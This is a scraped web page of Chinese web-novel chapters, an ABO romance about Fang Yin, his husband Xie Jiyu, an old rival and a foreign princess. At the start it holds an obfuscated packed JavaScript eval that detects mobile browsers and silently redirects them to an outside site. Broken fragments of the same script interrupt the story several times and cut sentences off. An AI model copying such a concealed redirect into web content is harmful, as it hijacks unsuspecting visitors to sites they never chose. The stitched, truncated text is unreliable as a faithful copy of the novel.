;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373263|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引休学一年后才从别人的口中拼凑出来的,也只知道个大概。其他人也不清楚内情,最合理的猜测就是家长反对。 池青的家庭条件普普通通,无法跟谢积玉相比,而且是个beta。联想到见完家长之后就分手这件事,可以想见那肯定是家人反对了。要么是池青父母觉得高攀不上,要么是谢女士不看好家世相差太大的人能在一起走得远。 到最后,也没有个答案。 其实当他一周前收到池青的消息的时候,在心里打了无数的腹稿,想怎么拒绝这个聚会邀请。 池青出国之后,他们作为高中室友并没有断了联系。不过方引刚跟谢积玉结婚那会,有小半年的时间都有些心虚,没有主动跟池青聊过天。 虽然不知道具体发生了什么,但是方引能察觉到,池青和谢积玉应该是被迫分手的,池青之所以去国外,或许也有一部分原因是远离这个令人神伤的环境吧。 池青是他大学期间很少真的聊得来的人,池青带着他参加了许多活动,认识了很多人,拓宽了不小的社交边界。 在今晚的聚会中,其实有过那么一刻,方引甚至有些感激谢积玉对外隐瞒他们关系的这个要求。至少他面对池青的时候,有了冠冕堂皇的隐瞒理由。 尽管这样的自欺欺人是如此卑鄙。 方引的双腿像是灌了铅,每靠近谢宅一步,池青刚才温和的笑脸就在他的脑海里越清晰。 他推开了门,却见到Luca以板鸭趴的姿势待在楼梯口,见到方引,小跑过来用头蹭了蹭方引的手,耳朵也耷拉着,脸上的小表情明显是不太高兴。 就在这时,楼上传来了隐隐约约的争吵声,在寂静的晚上显得格外鲜明。 方引发现声音的来源在谢积玉二楼的书房,他走到书房的斜下方,声音更加清晰了一些。 “您卡项目预算,是生怕别人觉得您徇私?”是谢积玉的声音。 “现在财政赤字过高,卡在财政部的初步审批不过,还没进入议会投票呢,跟我有什么关系?”谢惊鸿的声音冷静得近乎残酷,“我也告诉你,经济不景气,无数项目排着队等议会批呢。就算过了财政部那一关,也不一定能过议会那一关。” 方引猜测财政部卡预算会不会是有那个环保组织在中间闹事的原因,但听谢积玉的意思,这中间也少不了谢惊鸿的手段。如果是这样的话,那无疑情况会变得更复杂。 “您这是给我打预防针,还是在威胁我啊?” “有总统的支持不是万能的。而且你早就知道,我能做的还有更多。” 谢惊鸿最后那句意味深长的话结束后,楼上便陷入了诡异的安静当中。 Luca的耳朵刚刚竖起来,谢惊鸿便出来了,方引来不及躲避,正好跟谢惊鸿的视线对上。 她居高临下,冷漠地扫视着正在摸狗的方引,然后才下楼走到他的身边:“他是你的合法丈夫,你好歹也对他上点心,不然他找别人是迟早的。” 方引心头一跳,莫名想起了才见过没几个小时的池青。 他本来就猜测当年池青跟谢积玉分开中间有她的原因,如今谢女士神通广大,知道池青回国了怕他们旧情复燃从而想离婚也正常。 这事毕竟会触碰到谢惊鸿的既有利益,她有必要阻止。 方引知道自己是什么都做不了,于是他默默地垂下头,等谢女士摔上大门才抬起头来。 他一口气还没呼出来,谢积玉的声音就响起了。 “她又给了你什么吩咐?” 方引抬头望去,谢积玉的神情是丝毫不掩盖的冷肃,薄唇的线条有些紧绷着。看着方引就像是看到了什么脏东西,眼里分明闪过一丝嫌恶。 如果说谢惊鸿在谢积玉面前是一座难以逾越的高山,那方引或许只是一个微不足道却又像蚊子一样萦绕在耳边的小丑罢了。 所以谢积玉没有等方引回答什么,转身便摔上门进了书房。 14. 少年游 “砰”地一声,装着热水的杯子被打翻,边缘正巧撞在茶几上,摔了个粉碎。 这突如其来的动静让包厢短暂安静了下来,所有人的目光都集中到了那个端茶服务员身上。 服务员下意识地撸起长袖,被热水烫到的皮肤暴露在空气中。与此同时,包间里每个人都注意到了那瘦削的手腕上已经青紫的一圈圈痕迹,以及痕迹边上的细小血痕,一看就是被绳子勒出来的。 那低着头的服务员对这种打量的目光似乎很敏感,快速地又放下了袖子,另一只手紧紧地抓着袖口,说了好几声抱歉便拉开门走了出去。 没过几秒,人群中有人吹了一个轻佻的口哨:“哟,挺会玩的。” 尔后便响起了不怀好意的笑声。 还有人开始揶揄酒吧的老板:“沈涉,你不是说你这酒吧做的是正经生意吗?” 沈涉冷冷地瞥了一眼说话的人:“最近忙,不知道经理从哪里找来的兼职。再说了,他们要是愿意跟客人玩,我又怎么管得着。” 那个有些轻佻的alpha又开口了:“要是个omega就好了,最近正好这一口......” “烦不烦,说这些。”谢积玉是他们当中家世最好的,尽管在这样放松的聚会环境中也自然而然地居于中心位置,他一开口,其他人便自然而然转移了话题。 沈涉玩票开了家酒吧,便在下课后邀请他跟几个朋友一起去玩。毕竟是刚成年的高中生,酒过三巡,其中一人便不胜酒力,叫服务员送热水过来。 然后进来送水服务员却被烫到的服务员,便是来兼职的方引。 谢积玉不是很热衷这种场合,当时的他还不抽烟。 等包厢里烟味重了起来,他便找了个借口去酒吧的后门透透气。 而就在他站定不久,便看见刚才包厢里的被烫到的服务员,连服务生的衣物都没换,便被一个高大的男子抓着肩膀朝外走。他还是跟刚才在包间里一样,头都不抬,紧绷的下颌线苍白,任对方将他强硬地塞到路口的车中。 当时的方引知道谢积玉在看,所以也不想让他认出来自己,便任由方敬岁的人带他回家。 再后来的一天,方引兼职的另一个店里接到了一个大单,送餐地址是一家高档KTV。 方引循着地址安全把餐送到之后,却不想那个包厢的客人喝醉了耍酒疯,硬要方引陪着喝酒,不喝酒便不给钱,让这个大单没办法成交。 方引并不会喝酒,他硬着头皮灌了两瓶啤酒下去之后原以为结束了,可是对方却并不满足,又给他倒了3杯的红酒,然后把钱压在就被下面。 意思很明显了,就是喝完就可以拿钱走人。 方引望着那些钞票咬了咬牙,为了尽快结束,他几乎是没有停顿地喝完了,然后在一群人的鼓掌声里拿着钱走出了包厢门。 酒劲上来的很快,他刚走到KTV的后门口,便扶着墙吐了出来。 他醉得四肢不听使唤,短短的三级台阶都能重重地摔了一跤。 脚腕处传来火辣辣的剧痛,却让他短暂地清醒了过来。 他艰难地挪到墙边坐下,打电话给老板说明了一下情况又请了假之后,才安心地靠着墙根瘫在了那里。 脚踝以几乎肉眼可见的速度肿胀起来,而他整个人酒气冲天,又醉得几乎站不起来。许多过路的人只以为他是个大白天就酗酒的醉鬼,都离得远远的。 方引当时的脑子不甚清晰,但潜意识里还想着回家休息。就在他摸索出电动车的车钥匙的时候,整个人被大力地提了起来,方引勉强抬眼一看,发现了一张模糊却又熟悉的人脸,正是皱着眉头一脸嫌弃的谢积玉。 “电动车也是车,大白天喝醉了还要上路,不要命了?”低沉的声音在耳边环绕,但身体却一下子悬空了——他被抱起来了。 等他再次醒来的时候发现自己被带到一个陌生的地方了,窗外绿茵绵长,竟是一座陌生的别墅。楼下的泳池人声鼎沸,聚集着许多年轻的男女,谢积玉和池青在椅子上并排坐着聊天。 床边放着一套全新的衣服,等方引换好下去之后,在楼梯口遇见了沈涉。 “哟,醒啦?我还以为你还要睡呢。”沈涉手里拿着一杯酒,笑眯眯道,“你差点在大街上睡过去,跟池青打了个招呼,我跟谢积玉就把你带回来了。今天是他生日,有空的话留下来玩会。” 原来这里正在办生日派对,怪不得这么热闹。 他穿着简单的白衬衫和牛仔裤,在一群衣着精致的人眼里,确实格格不入。 谢积玉是派对的中心,或者说无论他在哪里,都是人群的中心。 方引在客厅沙发的角落踌躇了半晌,也没找到靠近的机会,便让池青代为答谢。 幸好这个地方离他兼职的那家店不远,正当方引检查了放在一众豪车边上的电动车的电量的时候,谢积玉出现在他的身后:“你就骑这个回去吗?” 方引被吓了一跳,他转过身来有些拘谨道:“是的。还有,今天谢谢你。” 谢积玉摆了摆手,意思是不用在意,然后道:“看你跟池青常常一起玩我才说的,以后酒后骑车不要载他,我不想他受伤。” 看来对方并不知道自己是被灌酒,不过这种事情又不是多光彩,他也不想多提:“车子是店里的,我平常不会骑到学校去,没机会载他。” 谢积玉看了他一会,忽然轻笑出声:“你平常还真喜欢酒后上路啊?不怕出事?” 大概是出于不想被好友的对象看不起的出发点,方引终于开口解释:“其实今天我是去送餐的时候,被几个客人要求喝的——平常其实也遇不到这样的,我也不会喝酒。” “KTV这种地方,倒也不奇怪。”谢积玉了然,顿了顿之后又继续开口,“那家店是关岭家开的,我跟他说一声,以后你要是再遇到这种事,直接找店里的经理就行,保证不会出现这样的情况。明白吗?” 方引感激地点点头,他想,自己已经借了池青不少光了。 正当他骑上车子准备告别的时候,谢积玉忽然道:“但我只能在那个KTV里帮你,别的地方还是要靠你自己,不要惯着那些渣滓。” 当时的方引早已明白,他的人生已经被方敬岁牢牢控制,谢积玉口中的那些“渣滓”跟他的亲生父亲比起来才是真的微不足道。 但他知道谢积玉是好意。 “谢谢,我知道了。”方引顿了顿,把那句在喉咙里徘徊已久的话说了出来,“还有,祝你生日快乐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道过去了多久,方引才艰涩地睁开眼睛,意识回笼,他还是躺在自己在谢家的那个小房间里。他又闭上眼睛,等脑海中那些往事的浪涛平缓下来才起身。 时间还早,方引洗漱完之后轻手轻脚地出了谢家,驱车前往市中心,在一个咖啡馆门口停了下来,点了一杯拿铁之后就在窗边坐着,打开笔记本电脑改他的论文。 没过多长时间,来了一个拿着手提包的年轻人,他坐在了方引背后的位置上,一杯咖啡喝完,将一个文件袋悄悄塞进方引放在脚边的电脑包里便离开了。 时间到了中午,店里的人渐渐多了起来,方引这才收拾东西离开。等他回到车上的时候,把电脑包打开,拿出里面那个黄色的文件袋。 里面详细记录了“深海基金”环保组织近三年来的所有活动轨迹以及成员的详细资料,虽然还没查到他们背后的金主,但方引已经大概明白了这个组织的运营逻辑。 在资料的最后一页,记录了他们接下来一段时间的行程,其中有一项是半个月后在紫屏山有一次野外的公益徒步活动。 方引的指尖在“紫屏山”三个字上抚过,他确实应该去一次了。 15. 难言之欲 “昨晚睡得好吗?现在有没有感觉到不舒服的地方?” 方引带着一群医生查房,在一个小男孩的病床前停下,孩子的左脚打着石膏。 孩子的母亲对方引道:“挺好的,就是伤口痒,孩子老是想抓。” “不能抓哦,如果弄破伤口的话,还需要继续住院治疗,你不是一直还想跟同学一起踢足球吗?”方引合上护理记录,然后蹲在病床边把一个足球小挂件放在孩子的手心里,“叔叔知道你最勇敢了,所以这个送给你。” 刚才因为伤口痒有些恹恹的小男孩眼睛亮了起来,他先是看了一眼自己的母亲,在母亲赞同的目光里接过了那个小挂件,有些腼腆:“谢谢哥哥。” 这话一出,不仅是方引,孩子的母亲和跟着方引一起查房的其他人都笑了起来。只是小男孩本身似乎有些不知所以,有些茫然地看着自己的妈妈。 方引摸了摸小男孩的头,然后对孩子的母亲叮嘱道:“为了防止他下意识地抓挠,要注意保持他手指清洁,指甲剪短。晚上如果实在是痒得影响睡觉,就用干净的毛巾包着冰块隔着纱布冷敷10分钟,会好受一些。” 孩子的母亲连忙在手机里记下。 方引今天不需要出门诊,上午便都在查房,等差不多结束的时候,午餐时间都已经快结束了。 他匆忙去食堂随便对付了两口,却在回来的时候发现信息素科的诊室门口围着好些人,其中有一个男声异常高亢。 方引看过去才发现一个alpha眼睛通红,手里抓着一张皱巴巴的病历单,一直怒吼着:“你们这些医生是干什么吃的?我老婆好好的一个人现在在手术室,肯定是你们给她开的药有问题!” 他对面的医生是个女性beta,气势上虽然弱了许多,但还在耐心解释:“现在医生正在为您的爱人抢救,等脱离危险之后我们可以一起分析她的病情和我们制定的治疗方案,我们用的药都是正规的,这一点请您放心。” 男人显然是一句话都听不进去:“正规?她只用过你们开的药,我看你们推卸责任吧?” 他话音刚落就把手里的单子摔在女医生的脸上,那东西倒是没有什么分量,只是抽到脸上还是痛,女医生一下子没站稳,身体撞在了墙壁上。 方引眸色微沉,他大步走过去一下子抓住alpha的胳膊:“先生,这里是医院,请对我们的医护人员有基本的尊重。” “你是谁?跟你有关系吗?放开!” alpha猛地甩了一下却没有甩开方引的手,方引也没理他嘴里不干不净的话,手上微微用力,沉着地吩咐边上的同事:“报警。” 方引毕竟是骨科医生,手上有些巧劲在,外人看不出来,但alpha着实有些吃痛:“医生打人了!大家看看,咱们联邦首都医科大学附属医院的医生打人了!” 中午围观的人不多,方引还是瞥到有人举起了手机对着他。 他猛地转过头去躲避镜头,手上下意识地松了劲,alpha一下子挣脱了方引的钳制,握紧拳头就要砸到方引的脸上。 可忽然,方引只觉得一阵风从身边闪过,下一秒“嘭”地一声,那个alpha就被按在了地上。 方引回过神来定睛一看,一位穿着休闲装带着帽子的长发女士正锁住那人的脖子,将人牢牢地控制住。 刚才方引没有看完全,但那应该是一个相当干脆漂亮的动作,围观的人纷纷鼓起了掌。 没过几秒,医院的保安人员匆匆赶来,将闹事的人带走,这场短暂的冲突才算是暂时平息。 围观的人群散开了,方引搜寻到那个拍视频的人,他走上去拍了拍对方的肩:“您好,能不能麻烦您把刚才拍的视频删掉?” 他还是担心刚才的视频如果被方敬岁看到,他又要回去吃苦头了,而且更担心会连累周知绪。 方引穿着白大褂,金丝眼镜后面的眼睫微垂,神色温和。 对方是个omega男生,看到方引,脸颊骤然飞上了一片红晕。 他有种小心思被戳破的慌张,耳尖红得几乎要滴血,便低头在手机上翻出刚才拍的视频,当着方引的面删掉了:“对不起,我没有恶意的。” 方引笑笑:“谢谢您对我们医院工作的支持。” omega回了一句“没事”,然后立马转身就飞快地跑了。 方引有些不知所以,就在他还在想自己刚才是不是太凶了的时候,忽然有人叫他:“方医生?” 他转过头去,才发现刚才制服那个alpha的女士正靠在门边,饶有兴趣地对着方引抬手打了个招呼:“我是姜舟雨,梁轩应该跟你提起过我。” 方引看到她的脸之后想了起来,万万没想到她就是前段时间梁轩随口说要跟方引介绍的对象,两个人就这样碰上了面。 大概是刚才两人算是共同解决了一个突发情况,再加上两人都跟不在场的梁轩关系不错,所以姜舟雨邀请方引进去坐一下的时候,方引也没有拒绝。 信息素科的诊室布置得柔和而舒适,房间呈现温暖的原木色,米白色的沙发,边上放着浓绿的琴叶榕,墙角的加湿器正徐徐吐出雾气。 姜舟雨摘掉帽子,把外套换成了白大褂之后才对方引道:“要穿着这一身去搞定刚才那个人,那咱们医院可是真的要上新闻了。你要喝点什么?” 方引在一边坐下:“白水就好,谢谢。刚才那个家属,他妻子什么情况,怎么会那样闹?” 姜舟雨把一杯水放在方引面前,叹了口气:“他的妻子是个beta,按道理来说男女AB性别的夫妻,是可以自然受孕的。只是大概是他们太着急了,还是让女方来做了一次omega腺体植入。虽然手术不是我做的,但据我了解手术过程没有问题,术后恢复的是不错的。谁知道今天上午女方在公司忽然休克,现在还在手术室,目前还不清楚是什么状况。” 方引想起那个alpha口中一直说着的用药问题:“手术后出院多久了?” “好像已经快两个月了。” 两个月时间,术后身体基本已经恢复到日常生活不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方引知道这是有些自欺欺人,但是他还是想再努力一把。 “喜欢嘛,这种东西很主观的。”姜舟雨这句话说得很慢,她漫不经心低翻了翻桌面上的那本书,随口又补充了一句,“要是两个人两情相悦,挑了一个喜欢的信息素气味还不够吗?就算最后发现那味道腻了,谁又会因为这个分手呢?除非本来两个人就不合适。” 说者无意,听者有心。 姜舟雨最后这句话就像是一记重锤,狠狠地砸在了方引的心上。他面色发白,放在膝盖上的双手微微蜷缩。 其实这些医学理论方引之前不是没研究过,就是还是有些不甘心。 在谢积玉易感期的时候,方引唯有用上一支omega信息素剂,才能讨得谢积玉一点点开心。也只有在这个时候,才能让他们看起来勉强像是正常夫妻。 所以方引一直想找到一个能令谢积玉喜欢的信息素剂,就算只能产生一些虚假的亲密感,也能让他觉得安全。 16. 弄巧成拙 谢积玉坐在领杉资本大厦的总裁办公室里,正翻着一份文件。 初夏温暖的阳光透过落地窗照进来,却丝毫没能融化谢积玉越来越冷的眸色。 助理站在开着门的办公室门口,敲了敲玻璃:“谢总,一个小时后安排专访的媒体们已经布置好了采访现场,现在在c座一楼享用茶歇。儿童慈善基金会的理事长胡先生来了,您想在办公室还是会客厅见他?” 谢积玉合上了文件:“就这里吧。” 助理点了点头便离开了,半分钟后,一个中年男人地走了进来。 胡佑宁满脸堆笑地小步走到了谢积玉的办公桌前,两只手殷勤地伸了出去,点头哈腰道:“谢总,真没想到我能有这样的荣幸能跟您有机会面谈,一直很想当面感谢集团对我们的帮助。” 谢积玉伸出手去,却没有跟对方握上,而是拿起了面前的水杯喝了一口:“坐。” 胡佑宁有些尴尬地收回了手,在谢积玉对面的椅子上坐下,但脸上笑容不减:“我这次来也想跟您聊聊我履职的这一年我们基金会做的一些工作,以及下半年基金会的一些安排,也想让您帮忙把把关。” 谢积玉头也不抬,眼睛像是凝固在了眼前的水杯上,一字一句道:“你接手也一年多了,我看在眼里。” 若是此时有集团里那些经常跟谢积玉开会的高管在场,定能从他的神情语气上察觉到他此时的心情处在一个微妙的节点上,说话做事都要把心提起来。 只是胡佑宁这才第一次见谢积玉,没有那些敏感度。 他脸上的笑容更甚,眼角都炸开了褶子:“这还得感谢谢总的信任。今年下半年,我还想去联邦北部,那里毕竟偏远一点,需要帮助的孩子也多。我可以把他们带回首都,接受最好的教育,培养成才。” “培养成才?”谢积玉终于抬头,“你打算带多少孩子到首都来?” 胡佑宁的眼睛先是往右上方看,然后又往左上方看了一下才道:“少说五六十个,多则一百出头,毕竟需要帮助的孩子太多了,这也只能算是绵薄之力。” 谢积玉的食指在桌面上轻轻点了几下,最后一下之前那个间隔有些长,落在桌面上的声音也稍大一些,像是一锤定音一般。 “那考虑到孩子的衣食住行和学习,下半年的预算,还够吗?” 胡佑宁眼周的肌肉都紧绷起来,双手握拳以掩盖兴奋的颤抖,语气里却是一副难为情的样子:“这也是我的不情之请,想请谢总再帮帮孩子们。” 谢积玉听完,竟露出了一个难得的笑:“帮孩子们替你数钱吗?” 胡佑宁听完这句话,笑容顿时顿住:“什么......” 他还没来得及反驳,谢积玉就把面前的那一叠文件狠狠地摔在他的脸上:“打着慈善的旗号贩卖人口,我看你是嫌自己命长了!” 文件里面的资料散开,好几张非正常拍摄视角的照片摊在了地毯上。 里面有许多小孩子,大的不过十五六岁,小的甚至才七八岁的模样。但相同的是,他们都在昏暗的角落里蹲着,有的在废弃的船舱里,有的在逼仄的集装箱中。 胡佑宁还看见了自己十几个海外银行账户的流水,顿时面如土色,腿软得几乎站不住,“扑通”一声跪在了地上。 谢积玉厌烦地移开了眼,一秒都不想再多看这滩肮脏的烂泥,抬手示意让早早地就带着保安站在办公室门口的助理进来,将胡佑宁拖了出去。 助理道:“按照您的要求,先把他带到媒体面前,执法人员随后就会带走他。只是......公关部的黄部长还是有些不放心,怕先捅到媒体那边会不可控。” “要是什么都可控我还聘请他做什么?”谢积玉站起了身,透过落地窗,看着楼底下那些又前来静坐示威的环保组织人员,“而且我也需要留出一个舆论的空挡,才能好好处理一些事。” 助理意会:“技术部对他们的资金链路已经有眉目了,您要不要现在听一下阶段汇报?” 谢积玉摩挲着手指:“不了。这两天,我要专心接待一个贵客。” - 丝带湖公馆建在联邦首都风景最好的半山腰上,坐于深林湖畔,喧嚣中取静,是达官显贵们喜欢的地界。虽说一年中几乎有一半的日子被包下来不待外客,但今天的气氛紧张程度堪比上次两国外交部长来此会谈用餐,早些时候已经来过一些人里里外外都摸了一遍。 方引把车停在通往公馆必经之路的小岔道上停了下来,路边的灌木能很好地降低车子的存在感。 他翻看手机上的新闻,头条正是今天早些时候的举行的网球公开赛活动。 世界级的网球公开赛某种程度上也算是各界名流的秀场,不过今天的观众席上,最受人瞩目的还是加兰斯的洛莉公主以及坐在她边上的谢积玉。 新闻的最后带了一句,公开赛结束后,谢积玉还为远道而来的公主安排了一场小型的私人餐会。 天边还剩一丝残血般的夕阳,映在了不远处的丝带湖上。 不多时,一行车队驶了过来,殷洄一眼看到中间那辆熟悉的宾利,以及车后排坐着的那个模模糊糊的影子,一闪而过。 那车里应该就坐着谢积玉和洛莉公主了。 方引托人调查的“深海基金”环保组织,得知他们表面上是无条件倡导环境保护,什么都要未环保让路,但实际上却是个收钱办事的组织——只要支付一笔令他们满意的费用,“聘请”他们来做项目环境评估,再差的环保措施也能得到他们的认可。 虽然方引没能查出这次他们此次针对海底隧道项目有没有其他人在背后支持,但结合过往他对方敬岁的认知,方引心里也怕这事可能跟方家有关,因为他发觉之前一些他们闹上新闻的项目中,有两个是方家旗下公司的竞争对手所主导的。 无论结果是让项目遭遇阻力,还是被谢积玉查出真的是方家在背后动手脚,这都不是方引想要的。 今天网球公开赛之前没人透露出谢积玉会去观赛,而现在人尽皆知有一个餐会要举行,况且还有一个加兰斯的储君在场,如果这些人在必经之路上闹事的话,想必会非常难看。 方引已经做好了准备,如果“深海基金”真的出现,他便会利用他调查出来的东西让对方让步,把苗头提前按死在摇篮里。 方引拿出事先买好的面包,草草地吃了两口当做晚餐了。 半个小时过去了,周围还是很安静,没有什么异常,只有偶尔的鸟鸣会响起。 就在方引想这个级别的安保已经不用担心,他们应该能解决这种小问题,并且担心自己是不是自作多情的时候,他的车窗被敲响了。 方引定睛一看,外面站着两个穿着黑衣服且身材高大的男子,手正放在腰间的配枪上。 “你好,请下车接受检查。” 方引打开车门,并将自己的证件递给对方:“我只是临时在这里停一下,很快就走。” “你已经停了半个小时了。”一个alpha仔细查验方引身份证件边道,“如果没事请快点离开,否则我们将按流程处理。” 方引没想到他们的安保会这么细致,已经观察了他这样久。不过这样看来他也不用担心那些人会对谢积玉造成什么困扰了,于是便点点头:“好,我立刻就开走。” 还没等方引接过对方还给他的证件,另一个alpha便绕到了车子的另一边,从方引 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眼下两人的强硬态度说明不听他们的是不行了,但如果跟他们走,那他已经做的和计划做的事情就瞒不过谢积玉,而且方敬岁也很可能知道,进而让自己惹祸上身。 眼下唯一的方式便是掌握主动权和解释权,于是方引说:“我要跟谢积玉通个电话。” 两个alpha对视一眼后哑然失笑:“先生,你现在没有资格跟我们提通话要求。” “我不是在跟你们提要求。”方引拿出手机,屏幕亮给两人,“我有他的联系方式。” 方引在两人的注视下熟练地在手机上按出一串11位数字,虽然手指落在绿色的拨通按钮上的时候还是犹豫了一瞬,不过之后还是利落地按了下去。 心跳逐渐盖过了听筒里的“嘟”声,频率越来越快。方引只觉得过去了一个世纪,那电话才被接通,里面却传来了一个陌生的女声:“你好,请问有什么事情?” 方引还以为自己打错了,又看了一眼手机屏幕上的号码,迟疑道:“这是谢积玉谢先生的手机吗?” “是的,谢先生现在在忙,我是他的助理。有事请说。” 中间隔了一个人无疑让事情会变得更复杂一些,但眼下方引无暇纠结太多:“我有事情找他说,麻烦你把手机给他。” 对面大约也是经验丰富,话音依旧沉稳:“谢先生现在很忙,有事请跟我说,我会转达。” 两个特勤人员看方引的眼神也是明显的不信任,不过他们也没说什么,只是静静的抱着手臂等这通电话的结果。 方引背后出了一层薄薄的热汗,他确实没有办法在这些人面前言明自己到底是谢积玉的什么人,而且以这事情的保密程度,就算他说了估计也没人信。 就在此刻,手机那头传来了一些杂音,还有模模糊糊的人声,下一秒谢积玉的声音就传到了方引的耳朵里:“说话。” 或许是通电话的原因,方引觉得想谢积玉的声音没有以前那样冷,带着些许慵懒。 “我在丝带湖公馆附近,这里的特勤以为我是什么不良分子,麻烦你跟他们说一下这是误会,让他们放我离开吧。” 电话那头静了一瞬:“把电话给他们。” 方引将手机递过去,他听不到电话里说了什么,只见两个特勤人员先是点头,然后说了一句“好”就把手机又还给了方引。 电话已经挂断了,看来事情已经告一段落。 方引短暂地松了口气,他想今晚先短暂地回他那个两居室暂避一下,好好想个理由。 “那先生,你跟我走吧。” 方引眉头微蹙:“什么意思,刚才电话里没有说清楚吗?” “谢先生说得很清楚,让我们带你去见他。” 17. 私人医生 夜晚的山里气温更低些,乌云遮住了月光,没过多久就下起了雨来。 路边高大的悬铃木下面,一丛丛粉紫色的绣球正紧紧地挨在一起,渐渐变大的雨把一些本来就快开败了的花瓣打落在了地上,顺着石头缝里的水势狼狈地挤在一起。 方引在前面走,两个特勤人员亦步亦趋地跟在他身后,等到了门厅下面的时候,方引的身上已经湿了大半。 一个侍者继续领着方引上楼,在几个弯之后,站在了一扇深棕色的门前,侍者上前扣了扣门,不多久门就打开了。 繁复的巨大吊灯几乎占了半个顶的位置,灯光映在墙上挂着的几幅画上。方引低头看去,在镜面般的黑色大理石的地面上,他的神情实在是算不上自然,甚至有些莫名的心虚。 侍者为他引导了一下方向之后便离开了,方引穿过大厅又拐了一下,才看到谢积玉的身影。 他坐在距离壁炉不远的胡桃木告解椅上,双腿交叠着,温柔的火光将他的从额头、到鼻梁、到薄唇和脖颈的侧颜描摹出一道近乎完美的线条,像是一副博物馆中的油画。 谢积玉面前的茶几上摆着两杯香槟,另一杯的杯口上有个口红印,而对面那个位置却是空的。 他察觉到了方引的到来,转头用一种审视的目光将他从头到脚扫了一遍,让方引有种所有秘密都无所遁形的感觉。 方引的额发被雨水几乎浸透,衬得脸色有一种冷感的苍白。 谢积玉站起来,抚了抚衣领,然后一步一步走近方引,alpha兰花香的信息素里带着一丝淡淡的酒气,让方引无端生出一种踩在云上眩晕感。 远处的山色隐藏在夜幕里,外面的树枝来来回回地轻扫窗棂,雨打在玻璃上。 偶尔亮起一道闪电的瞬间,映在谢积玉漆黑的眸子里,像是另一片宇宙。 方引下意识地后退了半步。 谢积玉开口道:“怕什么?” 方引回过神来,摇了摇头:“没有,刚才是一个误会。” 他有些不敢直视谢积玉的眼睛,便垂目盯着对方的鞋尖,静静地等待谢积玉的下一步。 方引白皙的颈侧光洁,头发上的水珠慢慢地聚集到发尾,然后从颈侧滑过,浸到衣领中。 谢积玉忽然伸手抓住方引的手腕,将人拉近了一步,方引猝不及防,差点撞在谢积玉的身上。 他的声音在方引的耳边振动:“我听着呢。” 方引浑身都萦绕着雨夜的冰凉,唯有手腕是滚烫的,几乎要将他灼伤。 这一瞬很短,但也漫长,高跟鞋的声音由远及近地响起的时候,方引下意识地挣脱开了谢积玉的手,这几乎已经是他结婚后养成的本能反应。 洛莉公主穿着一身及小腿的绿色缎面连衣裙,看到忽然出现的陌生人细长的双眉微挑,她在门口停下,眼神在对面两个人身上来回扫了几下,然后才走近。 方引双手在身前,此刻正不安地握在一起,且拇指无意识地摩挲着指腹。 洛莉公主双眼眯起,饶有兴致地看向谢积玉:“这位是?” 方引的声音已经抢在大脑运转完成之前响起了:“外面雨大,我进来躲一下雨。” 谁躲雨能躲到这种特勤把守的重地来啊。 方引心里暗骂自己不知道在慌什么,现在好了,急中出错。 在洛莉公主疑惑的眼神里,谢积玉声音四平八稳地响起:“他是我的私人医生。” 方引抬头,有些不可置信地看着谢积玉。 谢积玉也看向方引。 目光对视之中,方引察觉到了一种微妙的试探。 不知道为什么,这个莫名其妙的传言看来还是传到了谢积玉的耳朵里,但眼下这个理由似乎是不错的,于是方引对着洛莉公主微微欠身,默认了这个身份:“晚上好殿下,多有打扰。” 洛莉公主有些好奇地看向谢积玉:“谢先生要是哪里不舒服的话,我的医疗团队可以帮你。” “不用了,都是一些老毛病了。我们继续。”谢积玉领着洛莉公主向着位置上走去,然后转头看着方引,声音都冷了几度,“你先回车里等我,我们晚点再聊。” 谢积玉着意在最后几个字上加了些重音。 夜雨渐浓。 洛莉公主翻看着手里的一份资料,满意道:“谢先生很有诚意。” 她的王兄这么多年来与一个海外能源公司来往密切,利用王室的身份,多次帮助其公司高管逃避跨国审查,中间牵扯到数次大额资金的流动。 她虽然早就有所怀疑,但却是第一次得到这件事的实证。 谢积玉举起酒杯,声音淡淡的:“殿下满意就好。” 洛莉公主碰了一下杯,将剩余的香槟一饮而尽,而后站起来打开了一扇窗,夜风夹杂着雨丝便飘在了她的脸上。 窗正对着公馆前方的蜿蜒的小路上,方引正在往外走,不过他并不知道他的背影此刻落在了楼上二人的眼睛里。 “我们现在暂时也算得上是统一战线了吧?” 谢积玉勉强地“嗯”了一声。 洛莉公主有些好奇地问道:“他真的是你的私人医生吗?” 方引穿着一件白色外套,走在浓黑的夜雨之中越走越远,像是一叶孤舟。 谢积玉反问:“怎么?殿下觉得不像吗?” “倒像是一个仇人。”洛莉公主断了顿,噙着笑意看向谢积玉,“或者,一个情人。” 谢积玉想了想,一字一句道:“或许殿下说得也没错。” 这回答让洛莉公主瞪圆了眼睛,一下子来了兴趣:“那到底是情人还是仇人?” 谢积玉没有回答,低头看看手表:“天色不早了,我让人送殿下回酒店休息吧。” 洛莉公主察觉到了谢积玉对这个问题的回避,也不恼:“明天我们出海,不如谢先生带上他一起吧?这两天公事也谈够了,想找个人聊聊天。” “他啊,闷葫芦一个。”谢积玉看着方引的转了个弯,身影就消失在了黑夜里,然后在手机的通讯录里找到关岭两个字,“我倒是有个话特别多的朋友,要是殿下不介意我明天叫上他。” 